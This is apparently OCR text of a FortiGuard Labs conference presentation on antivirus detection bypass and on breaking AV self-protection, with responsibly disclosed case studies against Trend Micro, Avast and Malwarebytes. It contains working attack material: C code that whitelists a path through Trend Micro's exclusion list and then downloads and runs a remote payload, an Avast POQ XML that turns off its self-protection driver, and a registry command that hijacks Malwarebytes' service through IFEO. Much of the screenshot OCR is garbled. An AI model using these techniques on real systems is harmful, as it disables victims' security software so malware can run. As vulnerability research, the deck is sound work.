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Introduction

=Yang YongJian = Wayne Low (@x9090)

= Antivirus Manager @ " Security Researcher @
Fortinet's FortiGuard Labs ~ Fortinet's FortiGuard Labs

= Focusing on Windows

= Focusing on malware . >
J exploit and vulnerability

analysis and virus research

research
= Technique support and » Microsoft Office
antivirus responsibility for » Windows Kernel
customer » Fuzzing techniques
= Focusing on 0-day sample
discovery

= Fortinet’s Blog
https://blog.fortinet.com
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Agenda

= Review the history of AV detection bypass

» the development of the technologies which were used by the malware to
bypass Anti-Virus products in the past.

= Dridex's AV exploit & Security bypass vulnerabillities

» Dridex deployed multiple techniques in an attempt to bypass the
protections of various security products

= \What is Self-Protection
= Self-Protection Internal

= Breaking Self-protection

» Case-studies and demonstrations to show how to defeat AV self-
protection on different security products
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Virus & Anti-Virus

4 4

catchme  if you can

= AV bypassing is an infinite war between AV vendors and malware actors.

F::RTINET



Traditional Anti-Virus Technology

File Memory Behavior

Multiple-

detection

scanning scanning monitoring
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Bypass technologies in past

Junk code

Encryption
EPO

F::=RTINET



Entry-Point Obscuring (EPO)

= The EPO virus obscures its own entry point by finding a call
instruction in the targeted PE file and “hijacking” the call so that
the virus code is called instead.

= Widely used by infector virus Sality, Virtut and Expiro.

.reloc
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Rootkit technologies

= Hook technologies
» Object hook
» |AT hook
» EAT hook
» Inline-hook
» SSDT hook
» IDT hook
» |[RP hook
» SYSENTER hook

UserMode

KernelMode |
—
(8) ntoskrnl NtWriteFile

(10) File System Subsystem

11) Driver
{11) Driv IRP_MJ_WRITE

(12) Disk Subsystem
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KIlIAV

= Kill AV in RingO level.
» Drop and copy nmiuiy.sys to “C:\Windows\System32\drivers ” folder.
» Register the sys file as system service.
» Hook SSDT, search AV list and kill the AV processes.

- S—
7~ BinText 3.00 — (o] B s

Search | Fiter | Help |

File to scan ]F: Swork wirus\nmiuiy. sys Browse

vV Advanced view Time taken : 0.016 secs  Text size: 22813 bytes (22.28K)

File pos | Mem pos I ID | Text -
4 00000438 00011038 O 360safe.exe
4 00000450 00011050 O 360safebox.exe
4 00000470 00011070 O LiveUpdate360.exe
i 00000454 00011094 O knownsvr.exe
i 000004BO  000110BO O 1as.ex%e
4 000004CO  000110CO O SetuplD.exe
i 000004D8  000110D8 O ffwmain. exe
| 4 0000D4F0  00DO110FD O tfwproxy.exe
44 0000050C  0001110C O thwsry.exe
400000538 00011138 O frwstub. exe
4 00000550 00011150 O ifwclfg.exe
i 00000568 00011168 O 13VMon. exe

0
0
0
0
0
0
0
0
0
0
0

4 00000580 00011180 ravmond.exe

4 00000598 00011198 ravstub.exe

i 00000SB0  000111BO ravtask exe

4 000005C8  000111C8 ccenter.exe

4 000ODSED  ODO111ED avp32.exe

U 000005F4  000111F4 avp.exe

U 00000604 00011204 kavstart.exe

i 00000620 00011220 kwatch.exe

4 00000638 00011238 kmailmon. exe

U 00000654 00011254 kpfw32.exe

i 00000EEC  0001126C kpfwsvc.exe (4
u

{1 NNNNNRCT

4 00000698 00011238 O kasmain. exe
4 000006BO 00011280 O kisinchr.exe
annmoee 0 ot

| heady

1

kavswrni pve
i
| »

lanst 1482 || uni 183 Rsre: 0 Find | Save
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Bypass technologies in past

Junk code

Encryption
EPO

——

= QObfuscator
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Obfuscator

Instruction level obfuscator
» Conficker

Virtual environment confrontation obfuscator

 FakeAV

NSIS obfuscator

* Locky & Cerber Ransomware
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Packer

e |BO4BZDB3 push esi
- A :::::g:; e °:“ [esp+ 8]
mow ebx, [esprBrarg
[OERBFZ5E push edi BBhB3365 nou [Espo18h+drg 5),,-@“ ',.*’ 9 sub ebx, @FDh
BEsB3259 mou edx, [esprarvarg 6] |8 [TTTEETL] r"""“"“--* T— / ARLZDEF POy eax, dword_437298[ebx]
B4E325D sub edx, 13Eh \ 0040836 call sub_s02083 1 a0402DCS 1ea edx, dword_433530
D403263 lea edi, unk_43d564 \ 73 WU dword_S3363c, eax [e482DCE nov esi, 2FBDN
BBHBAIZE9 mou eax, OFF_h2CSSM[edx]f DONBSATE push 1 BENE?DD A xor esi, eax
BB4B32EF mou ecx, 28B3h N\ BeneR3TA call sub_48802A / 2 add esi, [edx+18h]
0one3274 add BCX, eax LY BB88837F mov [espriBh+arg 4], eax rd & sub esi, [edxeb4h]
00403276 sub ecx, [edi] N, 06468383 nou edi, duword 33640 V BOLOZDDA now eax, esi
0DABIZTE mou eax, ecx . [nouns389 sub esp, 8§ d apyEZo0A pop by
BR4BI2ZTA pop edi Doy O83IBC push ___ edi @eLEZDDE pop esi
BB4B32TE retn W B0 B8 ca11 sqn__neazss'} retn &
,,-\ i duurﬁ-r&ﬁﬁ_ﬂa, ep(
| 08468397 g;g_ ”
; 00408396 (call _;q_p né’l')i'av
i 0psREIA1 Jmp 1oc_LORDOR ,_,,’, BRLBAPDE push edi
{ " push ebp
§ l ‘,a'” BBNEED18 nov ebp, esp
dword_ 533660, ?ax BN - 00NE3012 POy edi, SSEDAZTAR
S L1 T _— = - - 7 17 sub edi, [ebprarg_B]
X 5?5“258 1 ! ::::: : START DF FUHCTION CHUHK F-‘gvl sub_4BECH N DOBNAYIR lea edi, [edi+638AGN]
@0RBBFA0 mau  dword H3366B4 eax “geu08D88 loc 198DOE: 00403920 add edi, (offset loc_NE2B05+3)
0D8OBF92 _push _ 14Ah r OBBEEDEE MoU [esp+20h+arg_ m' pax BENBEPZ6 nowv eax, edi
004B8F97 call  sub_03Z5H | 00588012 push  GSFE5307h 0483928 pop ebp
DONBBFOC Jmp  Lloc_WBOOF6 0809017 A1l suﬁ"“ﬂ'ﬁ*’ 08483929 pop edi
BOEBED DRHEI92A retn 4
. |manssD1 r‘{:au : sun WOBFE)
\ ssunsnzs now  dword pEr '][ehp—ssnh], 108h
P 20 oCh I
L - ::mna l:!aul’l_ﬁ r [TPITEN 1T [owwsasat push esi
0ONB2BF3 push  edi T |oowpspas wow T dword_uazdess, eqx A |vous3s3D Moy edx, [espsh+arg_B]
BBhBZEFh now edx, [esp+h+rarg @] . BO4BED3A_push. Bk P y, 88482841 sub edx, 2Ah
00RO2BFR sub edx, 1B4h "sumsncau sub mas:u:aj 4 1080384E lea ecx, unk 3350k
D04B2BFE lea ecx, unk_bISds ns 'ﬁﬂ'ﬁ"'""‘[""spiﬂ"j}-'g' q], eax f 00883850 nov eax, dunrd_435F38[edx]
DOBOZEDS o eax, duord_43S908[edx]| b push__duard_k33670 r,.r’ DOLBIES D nov esi. 134£30h
BBROZCEA nOY edi, 19B70BN "umuuncan Sub BBA2H | DOKDIESS sub esi., eax
064B2COF sub edi, eax 3 Tou - dword NII6N8, eax / 46483857 add esi, [eck]
00802C11 add edi, [ecx] 0ORBSDSE push__ 1DAN_ S 00403859 add esi, offset loc WESE9C
084502C13 mov eax, edi 88483050 Fca11 sub WOPBFE | g 0080385F mou eax, esi
D08OZC1S pop edi nmmnsz niﬁ““‘“[’isp]]', Bax o~ WOLOIB61 pop esi
0OROZC16 Fetn 4 08066 push.__ DOBDIBGE Fetn &
‘:r-”"fiunnnosicau sug 4 0ZDBE | -~
BPUBZDBE push  edi BBRBEDGD MOy dword_433658, pdc
@BLO2DBF push ebx 0EneED72 push . 96h_ 1’ P
BE4B2DEE mov ebx, [esp+Bearg 0] 77(call _ sub, h@ss3c © [e0u02OFF push  esi
BR4NZD9Y sub ebx, 368N 0ORBS0TC Moy [espeBearg 58], pax” ABLBZERD push  ebp
AO4OZDYT moy eax, dword_43I27EC[ebx] “"“”“IJ'IML« .BEFESBGCER. -~ BONOZEDT nov ebp, esp
ABLAZDID lea edi, unk_43356C 00408085 [ call sub_40z0FF |~ OBNOZEBS nov ecx, 14100830
BBLBZDAZ mou ecx, ZW16B5H OBNOZEBE sub ecx, [ebprarg 0]
BB4BZDAR sub ecx, eax WRLOZEDE lea esi, dword 433530
BO4BZDAR add ecx, [edi] DRLDZET mou edx, [esi+2Ch]
BBLYRZDAC mou Bax, eCH ARYBZETY Ror ecy, edx
ABLAZDAE pop ehx BBNBZETS now eax, [esi+54h]
BBLAZDAF pop edi BONAZE1D xor eCH, eax
BB4BZDED retn & WELB2E1E sub ecx, [esivGCh]
ARYOZEE add ecx, offset loc_hido@s)
BBNDZEZY MOy eax, ecy
BEYBZEZE pop ebp
BBNOZEZT pop esi
QONOZEZE retn b

F
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Obfuscator
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Obfuscator

Anti-Emulator

KERNEL 32! QueryDosDeviceA(
KERNEL32!GetSystemT ime(8x8848bclf)
KERNEL32!SetCurrentDirectoryA(
KERNEL32!GetModuleFileNameA(
KERNEL32!GetModuleFileNameA(
KERNEL32!1strcempiA( ;
KERNEL32!SetCurrentDirectoruA(
KERNEL32!VirtualQueryEx(Bxffffffff,
KERNEL32!SetCurrentDirectoryA(
KERNEL32!FindResourceA| @ %
KERNEL32!GetVolumePathNameA(
KERNEL32!SetCurrentDirectoruA(
KERNEL32!SetFileAttributesA(
KERNEL32!InitializeCriticalSection(8
KERNEL32!GetModuleFileNameA(

KERNEL32!SetCurrentDirectoryA(
KERNEL32!SetCurrentDirectorya(
KERNEL32!Vir tualQueryEx(8x
KERNEL32!GetModuleFileNameA(
KERNEL 32! Ge tModuleFileNameA(
KERNEL32!Ge tModuleF ileNameA(
KERNEL32!SetCurrentDirectoryA(

2x48bbas

2x480b08

BRL0F4F :

F:=RTINET



Obfuscator

NSIS script obfuscation

205 File @A7E\System.dll

206 SetFlag 13 0

207 lPush comdlg32: :Chippewa()

208 RegisterDLL @WR7E\System.dll Call 0
209 SetDetailsView 0 &

210 GetFlag 3 11

211 IntCmp @EBREE 195 0 0 O

212 StrCpy sR3 "2"

213 3? IntCmp [EERTE 42789943 0 0 219
4{ UpdateSatusText [EBAST 0 LY

‘:5" UpdateSatusText BBAST O \
L IntCp 54 EBRETE + GRS ]

17 % DUpdateSatusText BEOR%R 0 J

Goto 213 3

UpdateSatusText @RE 0 3

SetOutPath [EEEAEE

File NardooDeposal.W

LogText 1637 1641

File ShopDemise.RkT

GetFlag 3 11

File Services.dll

Call 247

File @@37Z\System.dll

SetFlag 13 0

Push Services::0rchil(i .r0,i 97,i .r7,i .r6,i 97)

[

N = O WD

(3]

oy

RN N NN N RN MDD NN NN NN NN

NN NN NN NN N e
s

w o

http://blog.fortinet.com/2016/09/12/locky-nsis-based-ransomware-is-embracing-its-new-end-of-summer-shape
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virtue 1s one foot tall, the devil ten foot.

Anti-Virus
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New Era of AV Detection Bypass

= Why new AV detection bypass
» Modern AV has multi-layer protections

» Multi-layer protections more complex, more bugs, easy to be
exploited

= [nspired by Dridex *
decrypt_string_by_index2{{int)&pwszUpdate, 7);

-
. n - pfacetFileattributesW = (int {__stdcall *){_DWORD))fnGetProcAddress(@x3CE948F1, ax
aS I ‘ DFEESIDA);
L]

18, if { !pfnGetFileAttributesW )

// Query the directory where the downloaded update files will be stored
get_avg config_path(&pwszAVGRegKey);

count = 28;

// Loop to locate the correct folder name

do

R T

- - - 11. breaE; ) .
O Tam perl ng AV S I g natu re fl Iesl E %T:EEE:?GHFilEAttr‘ihutesh[prZDl}wr\loadFolder‘) ! 1)

configuration files: s ‘ Ceome s

11 tl —"i]. and folder in the dir

I. Remove all files and folders undw ¢ Sirscorias (s lcudrolder 4ps Somlastholder);

28 .

update directories including 7 orsis e oo ,s ey ’

23. cr t 11 Fld ((i. t)& 15 pwszDo 1 adFolder, 3, 8, FILE_ATTRIBUTE_NORMAL);

download Sub folder 24. p:aj tFi%ah;Ea;Eazl Na_F.E.ﬁ ;gci) ta all *)(_WORD *, MACRO_FILE_ATTRIBUTE))fnGetPro

25. if ( pfnsetFileAttributesW )

ii. The download sub-folder will be: i R T e i e SR
DDEN|FILE ATTRIBUTE READONLY
used to store the update files

lii. Create a dummy
hidden+system+read-only download sub-folder under update directory

Iv. The product should fail to perform update until the dummy download
sub-folder is removed

1. https://blog.fortinet.com/2016/08/04/new-era-in-anti-virus-detection-evasions
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New Era of AV Detection Bypass

o Tampering AV registry keys

SOFTWARE Type [ Data
| ATI Technologies REG_SZ (value not set)
AVAST Software older REG_5Z C:\ProgramData)\AVAST Software \Avast
. Avast EﬂM\UaUpdahes REG_MULTI_SZ 185=1487126576 226=1487126577 228=1467126580 229=1487126581 2.
i SZBrowser 2| NewHnsFraction REG_SZ 1,0
. Classes ab|Patches REG_MULTI_S5Z 3251487126569 364=1487126572 371=1487126573 373=1499924679 3.
: C“EmIE EﬂPrugramFulder REG_5Z C:\Program Files\AVAST Software'\Avast
E:E:‘; % Regstration REG_BINARY o6 ff c6 6 fF 6 FF o F c6 ff o6 f of FFd2 ff of fF of FF of ff cF fFd2 FF cf FF
Epsilon Squared ﬂSethFnlder REG_5Z C:\Program Files\AVAST Software\Avastisetup
Google fﬁﬂseh.lplniBad(up REG_BINARY ff fe 0d 00 0a 00 5b 00 43 00 6f 00 &6d 00 6d 00 6f 00 6e 00 5d 00 0d 00 Oa
| hMailServer 3_!'] Setuplog REG_SZ C:\ProgramData)\AVAST Software \Persistent Data\AvastiLogs\Update.log
| Tmmunity Tnc £4%] SetupVersion REG_DWORD 0x000008ee (2285)
| Intel 8| SWCUCacheCleanup REG_DWORD 0x58a3c189 (1487126921)
| Microsoft f_l'_&]S\"l’CUREDDFt REG_DWORD 0x596700ea (1439922666)
. Mozila ab|378DataFolder REG_5Z C:\ProgramData\AVAST Software\SZBrowser
. mozila.org EﬂSZBPrugramFoldEr REG_SZ C:\Program Files\AVAST Software\SZBrowser
. MozilaPlugins f;'_é]UpdabeVersion REG_DWORD 0x00000101 (257)
. Notepad++ ab|yersion REG_S7 17.1
| ODEC =14l | |
\HKEY_LOCAL_MACHINE\SOFTWAREAVAST Software\Avast 4
SOFTWARE 2] | Name Type | Data
ATI Technologies g!'](Dafau\t) REG_SZ (value not set)
=) AVAST Software ab| DataFalder REG_SZ C:\ProgramData‘\AVAST Software\Avast
. Avast fﬂMiUuUpdatEs REG_MULTI_SZ 185=1487126576 226=1457126577 228=1457126580 229=1437126531 2.
SZBrowiser b|NewHnsFraction REG_SZ 1,0
Bl Jy Classes ab|patrhes REG_MULTI_SZ 325=1487126569 364=1487126572 371=1487126573 373=1499024679 3!
Bt CI‘EmIE Error Creating Key El SZ C:\Program Files\AVAST Software\Avast
D8 oty e BiuaRY 6 76 7. FF 6 c6 ff c6 F c6 fF of 72 Ff of FFcf frcf fcf fd2 fEcFfF
- | Epsion Squared @ Cannot create key: You do not have the requisite permissions to create a new key under Avast. |52 C:\Program Files\AVAST Software\Avastsetup
- Google - BIMARY ff fe Od 00 0a 00 5b 00 43 00 6f 00 6d 00 6d 00 6 00 e 00 5d 00 Od 00 Oa
hMailServer 57 C:\ProgramData‘\AVAST Software\Persistent Data\Avast\Logs\Update.log
S Dmmunity Inc DWORD 0x00000Bee (2286)
Bl Intel DWORD 0x5823¢189 (1487126921)
B Microsoft Ta|SWCUReport REG_DWORD 0x595700ea (1499922666)
[ Mozila eﬁJSZEDamFalder REG_SZ C:'\ProgramData‘\AVAST Software\SZBrowser
& | mozila.org gﬂSZEPrugramFuldEr REG_S7 C:'\Program Files\AVAST Software\3ZBrowser
[+ MozillaPlugins f;'_-aupdate\fers\nn REG_DWORD 0x00000101 (257)
Natepad-++ ] Version REG_SZ 17.1
[ ODBC
- | Policies
& | Python
RegisteredApplications
I Ly Senic
o, e =l sl

=r\HKEY_LOCAL_MACHINE\SOFTWAREAVAST Software\Avast

F
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New Era of AV Detection Bypass

________ w §.32 (c)SEN
FE ¥ *

= Advanced.

» Exploit AV bad design and logic flaws

= Logic error: Google's Project Zero entry
“Kaspersky: Local CA root is incorrectly
protected” by Tavis Ormandy

= Design error: VizorUniClientLibrary! :
VIZOR_SetExceptionList allows execution B | v
by ALL users :

.| G\ Windows\system32 \cmd.exe

c:“Program Files“Trend MicrosTitanium>icacls UizorlUniclientLibrary.dll

VizorUniclientLibrary.dll NI AUTHORITY-SYSTEM:=CI>C(F>
BUILTIN“Administrators: (IXCF>
BUILTINNUzerz:=C(I3(RZ>

Buccessfully processed 1 files; Failed processing B files

c:“Program Files“Trend MicrosTitanium>

F::RTINET



New Era of AV Detection Bypass - Abusing AV Exclusion List

= Let’s dive into technical detalls of the exploit:

RegOpenKeyExA (HKEY LOCAL MACHINE, "SOFTWARE\\TrendMicro\\AMSP", 0, 0x20119u, &phkResult);
if (phkResult) {
RegQueryValueExA (phkResult, "InstallDir", 0, &Type, Data, &cbData);
SetCurrentDirectoryA ((LPCSTR) &Data) ;
RegOpenKeyExA (HKEY LOCAL MACHINE, "SOFTWARE\\TrendMicro\\Vizor", 0, 0x20119u, &phkResult);
RegQueryValueExA (phkResult, "ProductPath", 0, &Type, Data, &cbData);
lstrcatA ((LPSTR)Data, "VizorUniclientLibrary.dll");
hModule = LoadLibraryA ((LPCSTR)Data);
VIZOR AddExceptionPID = (void(_ cdecl *) ())GetProcAddress (hModule, "VIZOR AddExceptionPID");
VIZOR SetExceptionListEx = (void(_ stdcall *) (char *, char *))GetProcAddress (hModule, "VIZOR SetExceptionListEx");

// Add host program to TM's exception list
memset (wExceptionPath, 0, 528);
memcpy s (wExceptionPath, 528, wTempPath, wcslen (wTempPath) *2);
wExceptionPath[524] = 1;
memset (v8, 0, 260);

8[0] = 1;
VIZOR AddExceptionPID();
VIZOR SetExceptionListEx(v8, wExceptionPath);
// Do some malicious activities here to trigger path to be whitelised in "Exception List"

WCHAR *wWURL = L"http://www.eicar.org/download/eicar.com.txt";// Change this to any malicious file
// Download the malicious file from remote payload to the white-listing folder

HRESULT result = URLDownloadToFileW (NULL, wURL, wMaliciousFilePath, 0, NULL);

if (result == S OK)
{

printf ("[+] Payload downloaded: %$ws\n", wMaliciousFilePath
printf (" [+] Executing payload...\n")
ShellExecuteW (NULL, NULL, wMaliciousFilePath, NULL, NULL, SW_SHOWNORMAL) ;
}
else
{

printf ("[-] Failed to download payload (%x)\n", result);
}

2:RTINET ) // End

printf (" [+] Done\n")



DEMO - Abusing AV Exclusion List

Release Date: July 27, 2016

Trend Micro Vulnerability Identifier: 2016-0106
Platform(s): Windows OS

Summary:

Trend Micro has released a new build of the Trend Micro Security family of consumer-focused products. This update resolves a vulnerability in the product that could be exploited to allow an
attacker to exclude a malware's desired file path from a real-time or on-demand scan.

Affected version(s)

PRODUCT AFFECTED VERSION(S) PLATFORM LANGUAGE(S)
Premium Security 10.0.1186 and below Microsoft Windows English
Maximum Security 10.0.1186 and below Microsoft Windows English

Internet Security 10.0.1186 and below Microsoft Windows English
Antivirus + Security 10.0.1186 and below Microsoft Windows English

Solution
Trend Micro has released an update to resolve this issue and customers should receive the update automatically as long as they are connected to the Internet.

PRODUCT VERSIONS UPDATE BUILD PLATFORM

All 2016 Trend Micro Security Products (version 10) 10.0.1288 Windows OS

Vulnerability Details
This update resolves vulnerabilities in Trend Micro Security where a malicious actor using specifically crafted malware could potentially manipulate a key .dll file to exclude a malware’s desired file
path causing Trend Micro Security's real-time or on-demand scan not to detect it.

Trend Micro has received no reports nor is aware of any actual attacks against the affected products related to this vulnerability at this time

Mitigating Factors
None identified. Customers are advised to ensure they always have the latest version of the program.

Acknowledgement
Trend Micro would like to thank Wayne Low (@x9090) of FortiGuard Labs, for responsibly disclosing this issue and working with Trend Micro to help protect our customers.

https://esupport.trendmicro.com/en-us/home/pages/technical-support/1114635.aspx




Diving into Self-Protection
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What is Self-Protection?

= AKA Self-defence

» A security feature should prevent
unintended modification of
security product without explicit
permission from administrator

= Self-defence debate

» Administrator with administrative right is not
a security boundary

»] |

o Comment 2016-09-06 07:53:09 UTC
® RE added a comment
F Dear x9080,

Thank you very much for your vulnerability report.
Please note that you need administrative rights to execute the described behaviour.
Therefore we need to classify your report as not applicable.

Nevertheless we'd like to encourage you to continue your vulnerability researches with full focus on our
productsff 1

Best regards

—

Alex lonescu @aionescu - 19 Aug 2016 v
My prediction that AV products would break when confronted with WSL is proven

true: github.com/Microsoft/Bash... Kaspersky Self Protect #fa

| can delete mini-filtered-antivirus-self-protected file...
Please use the following bug reporting template to help
produce actionable and reproducible issues: A brief
description While | was playing with bash on Windows, |...

D9 11 108 ® 0 =

Hassan Sultan @hsultan75 - 21 Aug 2016 v
At the same time, if the steps require admin access, any 'protection’ an AV tries to
use at this level are well... useless

O n V) i}

Alex lonescu o
m N
@aionescu

Replying to @hsultan75
_—

minifilters, protected processes and other AV
technologies are supposed to defend against
admin as well. That's why they exist.

6:11 AM - 21 Aug 2016

QO 1 Q &
. Tweet your reply
Thomas Garnier @mxatone - 21 Aug 2016 v

Replying to @aionescu @hsultan7s
If only you could use Windows without admin privileges. Nobody does though.

pai Q 2 i}
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What is Self-Protection?

= |[mportant feature to prevent unsolicited breakage of security product

= |_ess focused attack vectors in AV

» Quote: “Windows Vista (+7,8,8.1,10) the default user is only allowed to request
administrative permissions. This triggers the user access control (UAC) window
which has to be confirmed by the user. The problem here is that you can remove
the whole Antivirus product if you have administrative permissions. ” - Self-
protection is unnecessary @

» Security product with self-protection not doing things right

F:=RTINET



Self-Protection Internal

= Windows Kernel Filters/Minifilters, convenient callbacks provided by
MSDN for AV vendors to implement their security features
» File minifilter (FItRegisterfilter, can be shown via fltmc command line tool)
» Registry filter (CmRegisterCallback)
» Object filter (ObRegisterCallback)
» New process filter (PsSetCreateProcessNotifyRoutine)
» New Image filter (PsSetLoadlmageNotifyRoutine)
» New thread filter (PsSetCreate ThreadNotifyRoutine)
» New driver filter (loRegisterDriverinitialization)
» Boot-start driver filter (ELAM, loRegisterBootDriverCallback)
» Packet filter (WFP, FwpsCalloutRegister)

= Mainly used on Windows x64

F:=RTINET



Self-Protection Internal

= Understand the filter logics from the callback routines

= Filter logics can be located in callback routines of self-defense driver:

» ProcessNotifyRoutine filter logics:

I.  Get basic process information like process full image name, process id, command line parameters
and etc and store them in data structure

1. Assign internal trust level to each new processes
» Distinguish AV own processes for whitelisting and unknown process for blacklisting
» Some IOCTLs are allowed for AV whitelisted process ONLY

» RegistryCallbackRoutine/Registry hook filter logics:
I.  Inspect the trust level
Il. SKip filtering if it’s a trusted/own process

= Drawbacks:
» The filter logics can be RE from the driver
» Trivial to bypass self-protection logics

=RTINET



Self-Protection Internal

= Some leading AV products has the filter logic implemented in script file
stored in DB.
» Self-defense driver communicates with a UM component
» UM component will pass the information to the script file
» Processed by rules defined in the script file

» Filter logic result, allow/deny, will be returned by the script to the self-defense
driver

= A good approach to conceal the filter logic without first deobfuscated
the scripts
» A big road block for RE
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Breaking Self-Protection

= Disclaimer: No fuzzing involved
= Over 6-month of manual code audit on 6 leading AV products
= Results:

Product Version Self-Protection Local Privilege Advisory
bypass Escalation

AVG Free Antivirus 16.101.7752 FG-VD-16-062
AVIRA Free Antivirus 15.0.23.58 Yes No FG-VD-16-063

FG-VD-16-080
AVAST Free Antivirus 12.2.2276 Yes No FG-VD-16-060

FG-VD-16-061
MALWAREBYTES 3.05 Yes Yes FG-VD-17-003
Premium FG-VD-17-004
Bitdefender Free 1.0.6.12 Yes Yes FG-VD-17-018
Antivirus FG-VD-17-019
Kaspersky Internet 17.0.0.611 Yes No FG-VD-17-037
Security
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Breaking Self-Protection

,,Wlleeaks Leaks MNews About Partners Search

PSPs vs. DLL Injection

SECRET/NOFORN

PSPs have various levels of protections against injecting code into common processes. Most PSPs appear to have a decent level of protection against their own running processes, and some

protect various windows processes as well. Here's what we have observed to date:

Kaspersky:
When running as SYSTEM, Kaspersky protects several Windows system processes that are ordinarily accessible: wininit.exe, csrss.exe and Isass.exe are all locked down. Kaspersky does not
appear to protect svchost.exe processes. Additional research is needed to nail down exactly which processes are open for manipulation, but most SYSTEM process that can cause an immediate

bluescreen are protected.

Kaspersky does not appear to protect user processes at all. Explorer and dwm are both open for injection. The Kaspersky sandbox, however, does appear to flag the injection of some types of

payloads, so a KAV sandbox defeat prior to injection is recommended.

AVG: AVG appears to protect explorer.exe. It may also detect injection as malicious activity via the sandbox, s0 a sandbox defeat prior to injection is recommended. We were able to successfully

defeat the AVG sandbox with a large (100MB) malloc followed by a memset and free.

Bitdefender: Bitdefender appears to protect explorer.exe.

e em—— Pwned by Process Hollowin g! _\_(“J )_/—

For those processes that block injection into explorer.exe, we have had varying levels of success doing the following:

Create a non-suspended process with a hidden window then inject into the process. Some PSPs will flag this. Others flag the hidden window. (low success)

Create a suspended process with notepad.exe, cmd.exe or some other commeon binary, then inject into the suspended process. Some PSPs still block the injection and thread creation (medium

sUCCess)

Create a suspended process using the PSPs own binaries. We specifically target the HKLM\SOFTWARE\MicrosoftiWindows\CurrentVersion\Uninstall keys for the target PSP and identified the

uninstall binary from either the Displaylcon or UninstallString values. This was successful against AVG, Bitdefender and Rising. (great successl)

F
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Breaking Self-Protection

= Other good-old techniques:
» Image File Execution Option (IFEO)

» Application Verifier DLL side loading (Hooking Nirvana/Controversial
DoubleAgent by Cybellum)

= An enhanced version of Avrf DLL side loading method
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Breaking Self-Protection — AVAST

= Case study: AVAST

» Process hollowing has been stopped by AVAST efficiently ®
» We found alternative executable that is trusted by AVAST by default ©

» Remember the trust level we talked about in self-protection internal:
= Level 1 — Untrusted process
= Level 2 - AVAST’s executable located in directories other than those mentioned above
= Level 3—-AVAST’s SafeZone Browser processes

= |Level 4 and higher — AVAST’s executable files found in %PROGRAMFILES%\AVAST folder,
which has the highest trust level
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Breaking Self-Protection — AVAST

= Peeking at the code:

else if (wcstrendswith (( WORD *)pwszImageFileName + ((unsigned int)dwSystem32Length >>
1), (int) L"\\POQEXEC.EXE") )

{
dwlmageExeType = 22;

BYTE3 (dwTrustLevel) = 4;
}

= POQEXEC.EXE (Primitive operations Queue Executor)

» Native Application and it cannot be loaded properly by PE Windows loader

» Excellent article by Guyrleech® on how to use POQEXEC.EXE and run Native
Application

» Prerequisite: POQ XML file

1. https://quyrleech.wordpress.com/2014/07/16/reasons-for-reboots-part-2-2/ - Reasons for Reboots — Part 2
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Breaking Self-Protection — AVAST

= XML contents:

<?xml version='1.0' encoding="'utf-8'?>
<PendingTransaction Version="3.1">
<POQ>
<CreateKey path="\Registry\Machine\SYSTEM\CurrentControlSet\services\aswSP\Test"/>

<SetKeyValue path="\Registry\Machine\SYSTEM\CurrentControlSet\services\aswSP" name="Start" type="0x00000004"
encoding="base64" value="BAAAAA=="/>

<SetKeyValue path="\Registry\Machine\SYSTEM\CurrentControlSet\services\aswSP\Parameters" name="Enabled"
type="0x00000004" encoding="base64" value="AAAAAA=="/>

</P0OQ>

</PendingTransaction>

ERTINET



Breaking Self-Protection — AVAST DEMO

Registry Editor
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Breaking Self-Protection - MALWAREBYTES

= Case study: MALWAREBYTES

» Issue #1: Unprotected registry keys
= MBAM does not protect the unfamous IFEO registry key
= Ones can disable MBAM protection completely by creating IFEO for MBAMService.exe

[ Administrator: C:\Windows\System32\cmd.exe

CisWindowsssustemd2 X reqg query HRET_LOCHL_HHCHINE\EYETEH\CuPPenthntPnlﬂet\seruicll
es~MBAMChame leon ~v Start .

HEEY_LOCAL_MACHINE-~SYSTEM~CurrentControlSetsservices“~MBAMChame leon
Start REG_DUWORD B2

CisWindowsszyustend2>reg delete HKEY_LOCAL_MACHIME~SYSTEM~CurrentControlSetsservi
ces“~MBAMChame leon ~v Start

Delete the registry value Start Yes No>»? y

ERROR: Access is denied.

C:Windows“systemd2>reg add “"HKEY_LOCAL_MACHIME-~SOFTWARE“Microsoft UWindows HNT“Cu
rrentlersion~Image File Execution Optionssmbamzervice.exe' v Debugger ~t REG_MU
LTI _S5Z ~d calc.exe

The operation completed successfully.

C:sUWindowsssustend2>reg query "HHEEY_LOCAL_MACHIME~SOFTWARE“Microsof t*Windows MNHT-
Currentlersion~Image File Execution Optionssmbhamservice.exe'

HEEY_LOCAL_MACHINE-~SOFTWARE~HicroszoftsWindows NI~CurrentUerzion~Image File Execu
tion Optionsmbamservice.exe
Debugger REG_MULTI_SZ calc.exe
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Breaking Self-Protection - MALWAREBYTES

» Issue #2: Self-defense driver ACL’s bypass
= \Device\devmbamchameleon is a device object for MBAM’s file system driver

= FILE_ DEVICE_SECURE_OPEN is missing and according to MSDN:

“...By default, security checks for file open requests within the device's namespace, (for example,
"\Device\DeviceName\FileName") are left entirely up to the driver—the device object ACL is not

checked by the operating system...”
= Simply put:
» CreateFileA¢“\\\.\\mbamchameleon ”) => Failed

» Create

7L Devicelree V 0 - Driver View - OSR's De —Dﬂ
IF\\E View Search Ids Help
\sle| ]|
DRY \Driver\Wanarpv6 d B
333 Ef}::[tﬁﬁﬁﬁw Device Name:  iD hameleon Type: | FILE_DEVICE_UNKNOWN
DRV Driver\Win3zk Driver Name:  |FileSystem\MEAMChamelean Security Attributes |
DRY \Driver WMIxWDM Device Object  0x8534CF08 FSDevice: 0x00000000 Dpclmportance: pxa
ggg \\E;‘W\WSZ'\E‘ Driver Object: | 0x85300BA8 Device Type:  [0x22 Dpc Routine: ﬁmnnnnnnn
leSystem'powser
" Next Device: 0x00000000 Stack Size: i DpcNumber: — Px0
DRY 'FileSystem\DfsC - X iy [
DRY 'FieSystem Filelnfo Handle Count: — Alignment: o0 : Dxd
DRY FileSystem!Fitvgr Pointer Count: 4 i 000000000 Flags: x40
DRY ‘FileSystem'Fs_Rec Crestion Tme:  PUDLT0 GB0o0  References: 0 CurrentIp:  Dx00000000
DRY 'FileSystem{uafv Attached Device: | 0x00000000 SectorSize: |  OwningDev Obj: | Dx8534CF08
E---DRY VFileSystem\MBAMChamelean
DEY. \Device\devmbamchameleon i ::;zf:i:;’?ﬁ;ags
gag E:egvszmm::iar:: " Missing DRVO_LEGACY_RESOURCES
leSystem rotection FILE_DEVICE SECURE_OPEN flag NEITHER IO
Y \FileSystem MBAMSwissArmy = = =
RY \FileSystem MBAMWebProtection - Enumeration Information
~DRY \FieSystem\mrxsmb Deviceld: | ]
~DRY \FileSystemYmrxsmb 10 Instance Id:
